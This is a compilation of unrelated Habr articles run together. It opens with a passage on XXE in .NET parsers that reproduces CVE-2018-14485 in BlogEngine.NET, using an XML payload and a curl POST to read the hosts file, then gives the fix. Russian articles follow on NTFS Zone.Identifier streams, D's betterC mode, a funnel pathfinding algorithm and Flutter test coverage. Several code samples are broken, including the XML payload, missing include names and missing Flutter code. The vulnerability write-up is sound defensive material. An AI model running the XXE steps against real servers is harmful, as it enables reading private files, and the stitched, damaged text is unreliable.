A parser with a dangerous configuration may look like this:
```
var settings = new XmlReaderSettings()
{
DtdProcessing = DtdProcessing.Parse,
XmlResolver = new XmlUrlResolver(),
MaxCharactersFromEntities = 0
};
using (var xmlReader = XmlReader.Create(xmlFileStringReader, settings))
....
```
Here the developer explicitly allowed DTD processing, set a resolver for external entities, and removed the limitations on their size.
**XmlTextReader**
In this case, we are dealing with the same properties: *ProhibitDtd*, *DtdProcessing*, *XmlResolver*.
An example of a dangerously configurated parser:
```
using (var xmlTextReader = new XmlTextReader(xmlFileStringReader))
{
xmlTextReader.XmlResolver = new XmlUrlResolver();
xmlTextReader.DtdProcessing = DtdProcessing.Parse;
....
}
```
**XmlDocument**
In the *XmlDocument* type, we are interested in the *XmlResolver* property. In this case, a dangerously configurated parser can look like this:
```
XmlDocument xmlDoc = new XmlDocument();
xmlDoc.XmlResolver = new XmlUrlResolver();
```
*xmlDoc* in this configuration expands external entities and can be considered dangerous.
#### Default parser settings
Above we looked at examples where XML parsers were configured explicitly. However, all the listed types have some default settings, and there's a couple of interesting things about them.
Firstly, these settings are different for different .NET versions.
Secondly, the settings vary from type to type. For example, the DTD processing can be enabled or disabled by default.
In some cases, an XML parser can have a dangerous configuration by default, even if dangerous settings were not set explicitly.
As a result, we have to remember different types of parsers, different default settings in different types and .NET versions. It's a good amount of information that can be difficult to keep in mind (especially at first).
So, sometimes we can't say if an XML parser is XXE-resistant by only looking at code. For example, here:
```
XmlDocument doc = new XmlDocument();
doc.Load(xmlReader);
```
It's unclear whether *doc* can process external entities or not — we need to know the framework version first.
The values of the 'dangerous' settings changed between .NET Framework 4.5.1 and .NET Framework 4.5.2. Below is the table that shows in which .NET versions parsers with default settings are XXE-resistant by default, and in which they're not.
| Instances of types | .NET Framework 4.5.1 and lower | .NET Framework 4.5.2 and higher (including .NET Core and .NET) |
| --- | --- | --- |
| XmlReader (XmlReaderSettings) | Safe | Safe |
| XmlTextReader | Vulnerable | Safe |
| XmlDocument | Vulnerable | Safe |
Yes, *XmlReader* (created via *XmlReaderSettings*) is safe in .NET Framework 4.5.1 and lower because DTD processing is disabled in it.
Even though in the new framework versions parsers are configured securely by default, the best option is to explicitly configure the necessary settings. Yes, there'll be a lot more code. At the same time, it'll be more obvious and stable when you port it between different .NET Framework versions.
Done with the theory. Next let's look at the real vulnerability. Make yourself a cup of coffee and let's go!
Example of vulnerability in BlogEngine.NET
------------------------------------------
Above, we analyzed the theoretical component of XXE, talked a little more specifically about these security weaknesses in .NET, looked at what the insecure components of the vulnerability look like from the point of view of the code. Now it's time for practice. BlogEngine.NET is here to help.
Description from the project's[website](https://blogengine.io/): *BlogEngine is an open source blogging platform since 2007. Easily customizable. Many free built-in Themes, Widgets, and Plugins.*
The project's source code is [available on GitHub](https://github.com/BlogEngine/BlogEngine.NET).
For us, this project is interesting because 3 XXE vulnerabilities were found there. They were fixed in BlogEngine.NET [v3.3.8.0](https://github.com/BlogEngine/BlogEngine.NET/tree/v3.3.8.0). This means we'll take the previous version for the experiment – [v3.3.7.0](https://github.com/BlogEngine/BlogEngine.NET/tree/v3.3.7.0). If you want, you can easily reproduce the described steps and see the real XXE yourself.
First, we download the desired version — [v3.3.7.0](https://github.com/BlogEngine/BlogEngine.NET/tree/v3.3.7.0). There should be no problems with building the project — it's very simple. I built the project with Visual Studio 2022.
After the project is built, we run it. If everything is successful, we'll see the site of the following type:
If the website is not available for other machines on the same network by default, I highly recommend you make it. A bit of configuring makes 'playing' with XXE more interesting.
When searching for vulnerabilities, you may have different inputs. For example, the system may represent a black box for you. Then you'll have to collect information about the system, search for influence points on it, and so on. If the system represents a white box, it changes the approach and the tools used to achieve the goal (or at least expands their list).
Here's an interesting thing about open-source projects. Seems like every person can work with the code and contribute to its quality / security. However, there are some [drawbacks](https://pvs-studio.com/en/blog/posts/cpp/0900/). On the other hand, hackers would have more ways to investigate the code — since they have access to the sources, they will easily find vulnerabilities. Would these vulnerabilities be reported?
There's no answer to this question. Let's get back to our business.
Since the project is open-source, we'll take advantage of this. To search for vulnerabilities, in addition to our own knowledge, we use [PVS-Studio](https://pvs-studio.com/en/pvs-studio/) — a solution that searches for errors and security weaknesses. We need a group of security-related diagnostics — OWASP. You can read about turning on the corresponding warnings [here](https://pvs-studio.com/en/docs/manual/6536/).
In Visual Studio you need to set "Show All" for the OWASP group on the "Detectable Errors (C#)" tab: Extensions > PVS-Studio > Options > Detectable Errors (C#).
After that make sure that you enabled the display of the corresponding warnings. In this case we're interested in the 'OWASP' group of the 'High' certainty level. Thus, you need to click on the necessary buttons — they'll be framed.
Then, run the solution analysis (Extensions > PVS-Studio > Check > Solution) and wait for the results.
With the CWE filter (remember that XXE corresponds to CWE-611) or OWASP ASVS ID (OWASP ASVS 5.5.2) it is easy to find what we are interested in – 3 warnings [V5614](https://pvs-studio.com/en/docs/warnings/v5614/).
From the point of view of code, these errors are similar. We will analyze the most interesting one (located in several methods), and for the rest I will just provide basic information.
**XMLRPCRequest.cs**
Warning: V5614 [CWE-611, OWASP-5.5.2] Potential XXE vulnerability inside method. Insecure XML parser is used to process potentially tainted data from the first argument: 'inputXml'. BlogEngine.Core XMLRPCRequest.cs 41
In fact, the analyzer points at 3 lines to make the warning more understandable: a 'dangerous' method call, taint source, and a place where the tainted data is used by a dangerously configured parser.
```
public XMLRPCRequest(HttpContext input)
{
var inputXml = ParseRequest(input);
// LogMetaWeblogCall(inputXml);
this.LoadXmlRequest(inputXml); // Loads Method Call
// and Associated Variables
}
```
According to the message, *inputXml* may contain tainted data (see [taint checking](https://pvs-studio.com/en/blog/terms/6496/)) which is used by an insecurely configured parser inside the *LoadXmlRequest* method. Thus, it's a rather complex interprocedural case: data comes from one method (*ParseRequest*) and then is passed to another (*LoadXmlRequest*) where it's used.
Let's start with data — we need the *ParseRequest* method's code.
```
private static string ParseRequest(HttpContext context)
{
var buffer = new byte[context.Request.InputStream.Length];
context.Request.InputStream.Position = 0;
context.Request.InputStream.Read(buffer, 0, buffer.Length);
return Encoding.UTF8.GetString(buffer);
}
```
Let's accompany the code with the taint distribution route, to make clear what we're talking about.
It all starts with the *context.Request* property that has the *HttpRequest* type. The analyzer considers it a taint source, since data received as a query may be compromised.
There are several ways to extract the data and working with a stream (the *InputStream* property) is one of them. Thus, the tainted data is passed to *InputStream*
Next, we call the *System.IO.Stream.Read* method for this stream. This method reads data from *InputStream* into the byte array (*buffer)*. As a result, now *buffer* can also contain tainted data.
After that the *Encoding.UTF8.GetString* method is called. It constructs a string from the byte array (*buffer)*. Since the source data for creating a string is tainted, the string is also tainted. After the construction, the string returns from the method.
So, the attackers may compromise the value returned by the *ParseRequest* method. At least in theory.
Let's go back to the original method:
```
public XMLRPCRequest(HttpContext input)
{
var inputXml = ParseRequest(input);
// LogMetaWeblogCall(inputXml);
this.LoadXmlRequest(inputXml); // Loads Method Call
// and Associated Variables
}
```
Done with *ParseRequest*. Suppose that the *inputXml* variable can contain tainted data. Next step — analyze the *LoadXmlRequest* method that takes *inputXml* as an argument.
The method is long (100+ lines), so here's the shortened version. The fragment that triggered the analyzer is marked.
```
private void LoadXmlRequest(string xml)
{
var request = new XmlDocument();
try
{
if (!(xml.StartsWith("xml") || xml.StartsWith("<method")))
{
xml = xml.Substring(xml.IndexOf("<?xml"));
}
request.LoadXml(xml); // <=
}
catch (Exception ex)
{
throw new MetaWeblogException("01",
$"Invalid XMLRPC Request. ({ex.Message})");
}
....
}</code
```
As we see, the argument is processed by an XML parser: *request.LoadXml(xml)*. PVS-Studio thinks that *request* is vulnerable to XXE. Our job is to prove it. Or refute. Then this warning will be marked as [false positive](https://pvs-studio.com/en/blog/terms/6461/). Here we need the theory described in the beginning of this article.
The object type that the *request* reference points to is *XmlDocument*. The parser has default settings, which means we need to find out the .NET version. You can find it in the project's properties.
Now let's look at the table at the beginning of the article. We see that in applications on .NET Framework 4.5.1 and lower instances of the *XmlDocument* type are vulnerable to XXE by default.
It looks like we got all conditions for potential XXE:
* there's data that can be compromised: *ParseRequest* -> *inputXml* -> *xml*;
* there's a parser with a dangerous configuration that works with this data: *request.LoadXml(xml)*.
Theoretically, this is an XXE, but it's still a [potential vulnerability](https://pvs-studio.com/en/blog/terms/6441/). We have to prove that the attack is possible. To do this we need to dig into the code a bit more.
We started our analysis with the constructor of the *XMLRPCRequest* type. It's called in one place:
```
internal class MetaWeblogHandler : IHttpHandler
{
....
public void ProcessRequest(HttpContext context)
{
try
{
var rootUrl = Utils.AbsoluteWebRoot.ToString();
// context.Request.Url.ToString().Substring(0,
// context.Request.Url.ToString().IndexOf("metaweblog.axd"));
var input = new XMLRPCRequest(context); // <=
....
}
....
}
....
}
```
Yeah, we came across an HTTP handler. Here's an entry for it in the config:
Now we know the address to send a request to and make the desired handler work. Let's try to reproduce the attack.
First, we need an XML file with which we'll steal data from the machine where the blog is deployed:
```
xml version="1.0"?
]>
&externalEntity
```
If an XML parser processes external entities, then instead of &*externalEntity;* it should paste the contents of the [hosts](https://en.wikipedia.org/wiki/Hosts_(file)) file.
We make a request, send XML, and see how our handler will work. For convenience, it makes sense to save XML to a file (in this example — *xxe.xml*), so, if necessary, you can easily change its contents without changing the query command itself.
```
curl -d "@xxe.xml" -X POST http://vasiliev-pc:8081/metaweblog.axd
```
So, the handler caught our request and called the *XMLRPCRequest* constructor, which we inspected earlier.
Go inside the constructor and check the data in the *inputXml* variable.
Everything goes according to plan — the data is tainted, as we assumed (and wanted), and is passed to the *LoadXmlRequest* method as an argument. Let's observe further.
Due to the dangerous default settings, the parser worked exactly as we expected – it loaded the contents of the hosts file. Then the following code fragment is executed:
```
// Method name is always first
if (request.DocumentElement != null)
{
this.MethodName = request.DocumentElement.ChildNodes[0].InnerText;
}
```
Luckily (for the hacker :)) the contents of the hosts file will be written to the *MethodName* property — exactly what we need. The next code fragment we need is large *switch*, where certain actions are performed depending on the method name:
```
switch (this.MethodName)
{
case "metaWeblog.newPost":
....
break;
case "metaWeblog.editPost":
....
break;
case "metaWeblog.getPost":
....
break;
....
default:
throw new MetaWeblogException("02", $"Unknown Method. ({MethodName})");
}
```
Here we need the *default* branch to where execution will go since there's no suitable method. In this branch an exception is thrown. The exception's message will have the name of the method for which the mapping failed. In our case, the method's name is the contents of the hosts file.
When an exception is thrown, we return to the handler and get to the catch section where an unknown method is reported:
As a result, to our initial request:
```
curl -d "@xxe.xml" -X POST http://vasiliev-pc:8081/metaweblog.axd
```
We get the following answer:
So, we managed to obtain the contents of the hosts file, using an XXE attack. We got it on the machine with a deployed blog. If we know the location of other files, we can try to get their contents as well. And not only from the attacked machine, but also from other machines of the network to which we have access. Here, in the context of network requests, we can also talk about SSRF.
So, we have just seen XXE both from the point of view of the application (code) and from the point of view of the user (attacker). This is a real vulnerability – [CVE-2018-14485](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14485) ([here](https://nvd.nist.gov/vuln/detail/CVE-2018-14485) is the entry in the NVD).
What should we do with vulnerabilities? That's right, fix it. The commit can be found [here](https://github.com/BlogEngine/BlogEngine.NET/commit/3c61785f6c952e3f8d16eab1bb425e0368ea4a65). After that, the XML parser's configuration was changed, so now it can't process external entities. To do this, it is enough to set the value of the *XmlResolver* property to *null*:
```
var request = new XmlDocument() { XmlResolver = null };
```
Now if we try to get the same hosts file, it won't get into the output.
By the way, PVS-Studio knows that the parser with this configuration (*XmlResolver* – *null*) won't process external entities. Thus, the analyzer won't issue a warning for the fixed code.
Two other warnings that we've seen before also point to vulnerabilities. We are not going to analyze them (the code is similar), but below is basic information about them.
**CVE-2019-10718**
* Warning: V5614 [CWE-611, OWASP-5.5.2] Potential XXE vulnerability. Insecure XML parser 'doc' is used to process potentially tainted data from the 'xml' variable. PingbackHandler.cs 341
* Additional information: [NVD](https://nvd.nist.gov/vuln/detail/CVE-2019-10718), [CVE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10718).
* Commit with a fix: [link](https://github.com/BlogEngine/BlogEngine.NET/commit/3c61785f6c952e3f8d16eab1bb425e0368ea4a65).
**CVE-2019-11392**
* Warning: V5614 [CWE-611, OWASP-5.5.2] Potential XXE vulnerability. Insecure XML parser 'doc' is used to process potentially tainted data from the 'stream' variable. SyndicationHandler.cs 191
* Additional information: [NVD](https://nvd.nist.gov/vuln/detail/CVE-2019-11392), [CVE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11392).
* Commit with a fix: [link](https://github.com/BlogEngine/BlogEngine.NET/commit/4869ca9582c6d8f104190c3df3f14fb51058b481).
How to protect the code?
------------------------
1. Know about the problem. The fact that vulnerabilities may appear due to the processing of XML files may be an unexpected discovery. The more people know about the problem, the better.
2. Use newer framework versions. Developers strive to improve safety of products 'out of the box'. In the case of .NET, new versions of the framework are more secure.
3. Explicitly configure secure settings for XML parsers. Prohibit the processing of DTDs and external entities if they are not needed. This minimizes the possible risk (in particular, when you copy the code), and also more clearly indicates your intentions. If you need DTD processing, set as many restrictions as possible.
4. Use specialized tools to search for security defects: SAST, DAST, etc. For example, using SAST solutions on a regular basis will allow you to find such defects even at the stage of writing code. By the way, you can try PVS-Studio, mentioned in the article, [here](https://pvs-studio.com/pvs-studio/try-free/?utm_source=habr&utm_medium=articles&utm_content=xxe_in_csharp&utm_term=link_try-free).
Conclusion
----------
Now you are a little more savvy in security and XXE issues, and also know that even a simple blog deployed on your machine can become a source of vulnerabilities.
In fact, the XXE theme is more serious and, of course, there is still a lot to dig into. But at least just knowing about this security flaw and understanding it at a basic level will already be useful.
Praemonitus, praemunitus.
As always, I invite you to [subscribe to my Twitter](https://twitter.com/_SergVasiliev_) so as not to miss anything interesting. | https://habr.com/ru/post/650933/ | null | en | null |
# Как я искал (и нашел) разницу в двух побайтово идентичных файлах
Есть у нас одно .NET-приложение, которое умеет загружать и использовать плагины. Плагины — дело хорошее. Можно функционал расширять, можно оперативненько обновлять их со своего сайта, можно даже юзерам дать SDK и позволить писать свои плагины. Мы всё это и делали. Наши плагины представляли собой обычные .NET-сборки, которые нужно было подкинуть в определённую папку, откуда основное приложения их загружало и использовало. Ну, вы, наверное представляете как — [Assembly.Load()](https://msdn.microsoft.com/en-us/library/system.reflection.assembly.load(v=vs.110).aspx), дальше ищем класс, реализующий необходимый интерфейс, создаём объект этого класса и т.д. Всё это работало давно, стабильно и ничто не предвещало беды. Но вдруг в какой-то момент появилась необходимость создать плагин, состоящий из нескольких файлов. В связи с этим было решено считать плагином не просто .NET-сборку (1 файл), а zip-архив, в котором может быть как одна сборка, так и несколько файлов. В связи с этим пришлось научить билд-сервер паковать плагины в архивы, а основное приложение — разархивировать их в нужное место. В общем-то задача на 10 строк кода. Ничто не предвещало беды. И вот скачиваю я с билд-сервера собранный архив с плагином, разархивирую его в нужную папку, запускаю приложение, и… не работает! Стоп, как не работает? Это ведь тот же плагин!
Дальше — больше. Прошу проделать ту же самую процедуру моего коллегу, на его компьютере. Он пробует — и у него всё работает! Но как же так? Одна версия приложения, один и тот же файл с билд-сервера. Какая-то разница в окружении? Сажусь за компьютер коллеги, пробую ещё раз — не работает! Он в этом время пробует на моём — работает! То есть получается, что файл «помнит», кто его разархивировал! Зовём третьего коллегу понаблюдать этот цирк. Последовательно, на одном и том же компьютере, по очереди делаем одни и те же действия: скачиваем архив с плагином, разархивируем в нужную папку, запускаем приложение. Когда это делаю я — программа не видит плагин, когда это делает коллега — всё работает. На третьем круге этих интересных экспериментов вдруг замечаем разницу в действиях: я разархивировал плагин стандартными средствами Windows, а мой коллега — с помощью 7-Zip. И то и другое вызывалось нами из контекстного меню архива, так что разницу в клик по не тому пункту вначале никто не замечал. Ну ок. Получается, файл, извлечённый из zip-архива с помощью 7-zip, отличается от того же файла из того же архива, извлечённого с помощью стандартного архиватора Windows?
Кстати, пока вы не открыли статью под катом, ответьте-ка сами для себя на вопрос, может ли такое быть, что содержимое файлов валидного zip-архива при разархивации 7-zip и через проводник Windows будет разным?
Ну, не будем гадать и сравним файлы с помощью WinMerge:
Получается, файлы одинаковые и должны одинаково загружаться и обрабатываться? **Как бы не так! WinMerge врёт**. Файлы разные. И загружаются они .NETом тоже по-разному.
##### **А теперь будет страшная правда**
При загрузке файла из интернета Windows ставит на него специальный «флаг», означающий зону доверия, соответствующую сайту, с которого он был загружен. Я думаю, многие видели при попытке запуска только что скачанного исполняемого файла предупреждения о том, что запускать его, возможно, не стоит, надо подумать, вот посмотрите сертификат и скажите, что делать. В зависимости от политик безопасности и происхождения файла уровень параноидальности этих предупреждений может быть разным — от полного их отсутствия (работаем под админом, UAC отключен, файл подписан) до блокировки запуска (корпоративное окружение, неподписанный файл). Есть и несколько промежуточных стадий, где надо один или несколько раз сказать «да, запускаем». Но это всё ведь работает только для exe-файлов, да? Нет! На скачанный из интернета dll-файл или архив тоже будет повешен данный флаг! С технической точки зрения он является [альтернативным файловым потоком NTFS](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D1%8C%D1%82%D0%B5%D1%80%D0%BD%D0%B0%D1%82%D0%B8%D0%B2%D0%BD%D1%8B%D0%B5_%D0%BF%D0%BE%D1%82%D0%BE%D0%BA%D0%B8_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85), который можно посмотреть, например, через утилиту [AlternateStreamView](http://www.nirsoft.net/utils/alternate_data_streams.html) ну или через команду:
```
more < Plugin.dll:Zone.Identifier
```
И вот здесь мы имеем стечение следующих обстоятельств:
1. Браузер при загрузке создаёт для скачанного архива альтернативный файловый поток «Zone.Identifier» и пишет туда ID зоны, откуда пришел файл.
2. Стандартный архиватор проводника Windows при разархивировании читает не только основной файловый поток, но и альтернативные, и добавляет их к каждому извлечённому файлу. (7-Zip этого не делает).
3. Утилита WinMerge сравнивает только основные файловые потоки и говорит, что файлы, созданные 7-Zip и проводником идентичны.
4. В .NET метод [Assembly.Load()](https://msdn.microsoft.com/en-us/library/system.reflection.assembly.load(v=vs.110).aspx) тоже читает альтернативные файловые потоки, находит идентификатор зоны с пониженным доверием — и отказывается загружать файл! При этом привычные пользователю сообщения с просьбой подтвердить запуск недоверенного приложения не показываются и мы получаем наш баг.
Бороться с проблемой достаточно просто — нужно проверять\удалять данный файловый поток. В Windows для этого можно вызвать свойства файла и нажать там кнопку Unblock (ну или делать это програмно).
Если вы сделаете это для архива до извлечения из него файлов — идентификатор зоны пропадёт и для всех извлеченных в последствии файлов.
Возможно, я тут рассказал банальные и всем известные вещи, однако тот факт, что из одного и того же архива различные архиваторы могут извлечь разные файлы, да ещё и так хитро разные, что WinMerge этой разницы не видит, а .NET — видит, лично для меня было интересным открытием. | https://habr.com/ru/post/274183/ | null | ru | null |
# Лучше чем C
В настоящее время у системных программистов практически нет выбора какой язык использовать. По хорошему все варианты сводятся или к чистому Си или к Rust, хотя как показывает опыт далеко не всем нравится его синтаксис.
Благодаря усилиями команды разработчиков языка у D теперь появилось совместимое с чистым Си подмножество обладающее не только привычным для любого программиста Си синтаксисом, но и значительно расширяющее функционал языка. Новое подмножество называется «betterC». Это подмножество позволяет перевести написание Си приложение на новый уровень.
Вот краткий список того, что позволяет режим betterC программисту:
1. Отсутствие препроцессора
2. Более высокая скорость компиляции
3. Полноценная модульность
3.1 Поддержка различных видов импорта (статический импорт, частичный импорт, ренейминг при импорте и тд)
4. В момент компиляции возможна: генерация кода, интроспекция, проверка различных условий
4.1 Ветвление на этапе компиляции через `static if` и `static foreach`
4.2 возможны работа блоков вида `version(linux) { ... }`
5. Шаблоны
6. Аналог borrow checking из Rust через `scope pointers (scope T*)`, `scope slices (scope T[])` и `scope references (scope ref T)`
7. Поддержка модификаторов доступа `const` и `immutable` [подробнее](https://dlang.org/spec/const3.html)
8. TLS по умолчанию
9. Поддержка контрактного программирования
10. Удобные массивы с поддержкой слайсинга
11. Ускорение работы с массивами за счет SIMD
12. Удобные unit-тесты
13. Встроенный профайлер
14. User-defined атрибуты
15. Встроенный и очень удобный генератор документации
16. Привычный каждому программисту Си синтаксис
17. Поддержка Unicode
18. Лучшая чем у C memory safety
19. Замыкания
20. Многое другое.
Давайте теперь рассмотрим примеры.
Следующий код на C:
```
#include
int main(int argc, char\*\* argv) {
printf("hello world\n");
return 0;
}
```
Будет скомпилирован в:
```
_main:
push EAX
mov [ESP],offset FLAT:_DATA
call near ptr _printf
xor EAX,EAX
pop ECX
ret
```
Размер на выходе: 23,068 bytes.
Теперь тоже самое на D в режиме betterC:
```
import core.stdc.stdio;
extern (C) int main(int argc, char** argv) {
printf("hello world\n");
return 0;
}
```
Размер на выходе: 23,068 bytes.
Не плохо правда ли? Тот же самый код без режиме betterC будет весить 194Kb.
Более сложный пример:
C версия:
```
#include
/\* Eratosthenes Sieve prime number calculation. \*/
#define true 1
#define false 0
#define size 8190
#define sizepl 8191
char flags[sizepl];
int main() {
int i, prime, k, count, iter;
printf ("10 iterations\n");
for (iter = 1; iter <= 10; iter++) {
count = 0;
for (i = 0; i <= size; i++)
flags[i] = true;
for (i = 0; i <= size; i++) {
if (flags[i]) {
prime = i + i + 3;
k = i + prime;
while (k <= size) {
flags[k] = false;
k += prime;
}
count += 1;
}
}
}
printf ("\n%d primes", count);
return 0;
}
```
BetterC версия на D:
```
import core.stdc.stdio;
extern (C): // указываем что надо использовать соглашение о вызове в стиле C
__gshared bool[8191] flags;
int main() {
int count;
printf("10 iterations\n");
foreach (iter; 1 .. 11) {
count = 0;
flags[] = true;
foreach (i; 0 .. flags.length) {
if (flags[i]) {
const prime = i + i + 3; // const - значение никогда не будет меняться после инициализации
auto k = i + prime;
while (k < flags.length) {
flags[k] = false;
k += prime;
}
count += 1;
}
}
}
printf("%d primes\n", count);
return 0;
}
```
Получилось куда более читабельно и коротко.
Для инициализации пустого проекта вызовите: `dub init`
Для включения данного режима в dub.sdl необходимо добавить строку:
`dflags "-betterC"`
Для dub.json строка будет:
`"dflags" : ["betterC"],`
Требуется версия компилятора [dmd 2.076](http://dlang.org) и старше.
Для начинающих программистов опубликована первая версия [русского учебника по языку D](http://dlang.ru/book).
Так же вышло новое [расширение](https://marketplace.visualstudio.com/items?itemName=webfreak.code-d-beta) с поддержкой языка для Visual Code. | https://habr.com/ru/post/336392/ | null | ru | null |
# Pathfinding: До одури простая реализация алгоритма воронки (Funnel Algorithm)
Алгоритм воронки — это простой алгоритм поиска наипростейшего пути, проходящего через «порталы». Наиболее подробное описание можно найти по ссылке [Efficient Triangulation-Based Pathfinding](https://skatgame.net/mburo/ps/thesis_demyen_2006.pdf) ([2](http://web.archive.org/web/20151017054345/https://skatgame.net/mburo/ps/thesis_demyen_2006.pdf))
Здесь же этот алгоритм будет реализован до одури просто. Вместо использования очередей и прочих очешуительных вещей, наша простейшая реализация перезапускает цикл каждый раз, когда обнаруживает очередной угол. Это значит, что некоторые порталы будут опрашиваться таки чаще, чем должны были бы, тем не менее, делая реализацию всяко проще.
Полотно выше показывает 6 этапов этого алгоритма. На проверке каждой грани портала (муравьи на чём-то жёлтом), выполняются следующие действия:
* Проверяем находятся ли внутри текущего тоннеля точки слева и справа. Если «да», то мы идём дальше, ничего не предпринимая (A-D).
* Если новая левая точка снаружи тоннеля, тоннель не обновлён (E-F)
* Если новая левая точка находится за правой гранью тоннеля (F), мы добавляем правую точку тоннеля в качестве угла пути и устанавливаем и устанавливаем эту (левую) точку в качестве стартовой точки и перезапускаем алгоритм (G).
Эти правила применяются и для левой грани.
Как видно из примера выше, некоторые грани перепроверяются несколько раз, но все эти вычисления настолько просты, что оверхед пренебрежительно мал, давая на выходе простую и практичную реализацию.**Плохо скрытый код**
```
inline float triarea2(const float* a, const float* b, const float* c)
{
const float ax = b[0] - a[0];
const float ay = b[1] - a[1];
const float bx = c[0] - a[0];
const float by = c[1] - a[1];
return bx*ay - ax*by;
}
inline bool vequal(const float* a, const float* b)
{
static const float eq = 0.001f*0.001f;
return vdistsqr(a, b) < eq;
}
int stringPull(const float* portals, int nportals,
float* pts, const int maxPts)
{
// Поиск прямого пути.
int npts = 0;
// Начальное сканирование
float portalApex[2], portalLeft[2], portalRight[2];
int apexIndex = 0, leftIndex = 0, rightIndex = 0;
vcpy(portalApex, &portals[0]);
vcpy(portalLeft, &portals[0]);
vcpy(portalRight, &portals[2]);
// Установка стартовой точки.
vcpy(&pts[npts*2], portalApex);
npts++;
for (int i = 1; i < nportals && npts < maxPts; ++i)
{
const float* left = &portals[i*4+0];
const float* right = &portals[i*4+2];
// Обновление правой вершины.
if (triarea2(portalApex, portalRight, right) <= 0.0f)
{
if (vequal(portalApex, portalRight) || triarea2(portalApex, portalLeft, right) > 0.0f)
{
// Сжимаем тоннель.
vcpy(portalRight, right);
rightIndex = i;
}
else
{
// Правая вершина находится за левой, вставляем ЛЕВУЮ точку в путь, ставим в качестве стартовой и перезапускаем
vcpy(&pts[npts*2], portalLeft);
npts++;
// устанавливаем стартовую точку.
vcpy(portalApex, portalLeft);
apexIndex = leftIndex;
// сброс портала
vcpy(portalLeft, portalApex);
vcpy(portalRight, portalApex);
leftIndex = apexIndex;
rightIndex = apexIndex;
// перезапуск
i = apexIndex;
continue;
}
}
// обновляем левую вершину.
if (triarea2(portalApex, portalLeft, left) >= 0.0f)
{
if (vequal(portalApex, portalLeft) || triarea2(portalApex, portalRight, left) < 0.0f)
{
// сжимаем тоннель.
vcpy(portalLeft, left);
leftIndex = i;
}
else
{
// Левая точка за правой, вставляем ПРАВУЮ точку в путь, ставим в качестве стартовой и перезапускаем.
vcpy(&pts[npts*2], portalRight);
npts++;
// устанавливаем стартовую точку
vcpy(portalApex, portalRight);
apexIndex = rightIndex;
// сброс портала
vcpy(portalLeft, portalApex);
vcpy(portalRight, portalApex);
leftIndex = apexIndex;
rightIndex = apexIndex;
// перезапуск
i = apexIndex;
continue;
}
}
}
// добавляем последнюю точку в путь.
if (npts < maxPts)
{
vcpy(&pts[npts*2], &portals[(nportals-1)*4+0]);
npts++;
}
return npts;
}
```
Массив ***portals*** содержит в себе все сегменты порталов пути, который требуется упростить, первую точку грани слева и первую точку грани справа. Первая правая и первая левая точки — это наша стартовая точка, и последние левые и правые точки это наша конечная точка. Т.е. примерно так:
```
// Стартовый портал
vcpy(&portals[nportals*4+0], startPos);
vcpy(&portals[nportals*4+2], startPos);
nportals++;
// Портал между полигонами навмеша
for (int i = 0; i < path->npolys-1; ++i)
{
getPortalPoints(mesh, path->poly[i], path->poly[i+1], &portals[nportals*4+0], &portals[nportals*4+2]);
nportals++;
}
// Финальный портал
vcpy(&portals[nportals*4+0], endPos);
vcpy(&portals[nportals*4+2], endPos);
nportals++;
```
Каплей мёда в бочке мёда является то, что этот алгоритм может быть реализован в контексте любого формата навигации. Сетка, соединённые квадраты, квадродерево, путевые точки (вейпоинты) или навмеш — безразлично, главное чтобы вы могли предоставить список сегментов, которые являют собой порталы из одной ноды в другую.
Алгоритм так-же неплохо совмещается со стирингом. Вы вольны посчитать желаемую скорость передвижения, исходя из следующих поворотов. Это настолько быстро, что вы можете считать её (скорость) на каждой итерации перед применением шага стиринга.
p.s. Ознакомиться с более полным вариантом крайне рекомендуется — хотя-бы по-диагонали (от переводчика). | https://habr.com/ru/post/278151/ | null | ru | null |
# Получаем реальное покрытие тестами для приложений на Flutter
https://unsplash.com/photos/dQf7RZhMOJUПокрытие приложения тестами - один из самых важных принципов в разработке. У тестов есть множество безусловных **достоинств**: они помогают избежать багов, регрессии и экономят много денег.
Во Flutter есть несколько видов написания тестов:
* *Unit-тесты*
* *Widget-тесты*
* *Integration-тесты*
Как порядочный разработчик, Flutter приложения вы будете писать вместе с тестами.
### Запуск тестов
Во Flutter есть встроенная команда для запуска и отображения состояния тестирования. Выглядит она так:
Эта команда запустит тесты и создаст файл с результатами по пути **coverage/lcov.info**. Обратите внимание, что отчеты о покрытии могут отсутствовать. Команда будет вычислять только те тесты, которых достигнет. Если файл недоступен для точки входа, выполняющей покрытие, то VM(виртуальная машина) никогда его не увидит и, следовательно, не вернет никакой информации о покрытии.
### Тестирование неохваченных файлов
На Github есть открытая [тема](https://github.com/flutter/flutter/issues/27997#issue-410722816) по этому вопросу, но официального решения пока что нет. К счастью, некоторые члены сообщества придумали обход этой проблемы.
Вам просто нужно добавить все файлы во входную точку тестов. Таким образом, виртуальная машина будет знать какие файлы являются частью экосистемы проекта.
По-хорошему, вы не должны добавлять все эти зависимости вручную! Давайте напишем скрипт, который будет добавлять все необходимые файлы.
С помощью команды выше вы создаете файл `coverage_helper_test.dart` в папке `test`. В него будут добавляться все необходимые импорты.
Этот скрипт просто проходится по всем файлам в папке `lib`, определяя путь до них с приставкой `package:` и добавляя их как импорты.
Здесь нужно отметить, вероятно вы не хотели бы, чтобы сгенерированные файлы были частью расчетов, т.к вы их не писали сами. Поэтому путь не добавляется, если файл сгенерирован библиотекой.
Теперь у вас есть список файлов, которые будут учтены в покрытии кода тестами (coverage).
### Обновление результатов lcov
Теперь, если вы запустите тесты с покрытием, оно будет лучше, но все еще будут затрагиваться сгенерированные файлы.
Как уже отмечалось, скорее всего, вы не хотите, чтобы сгенерированные файлы были отображены в результатах тестов, так как эти файлы вы не пишите. Вы можете убрать их из файла `lcov.info`.
Для этого можно использовать библиотеку [lcov](https://formulae.brew.sh/formula/lcov).
Теперь `lcov.info` готов к дальнейшему использованию, а если точнее, то к генерации процента.
### Загружаем результаты на Codecov с помощью Github Actions
[Codecov](https://about.codecov.io/) - один из самых известных сайтов по покрытию кода. Множество библиотек, такие как [Bloc](https://github.com/felangel/bloc), используют его чтобы показать покрытие кода и его распределение.
Этот сайт бесплатный для проектов с открытым исходным кодом. Так что, если вы разработчик OSS, это отличный вариант для вас.
Для начала, создайте файл `gather_files.sh` в папке `test`.
Подготовьте ваш файл Github Actions и убедитесь, что добавили туда следующее:
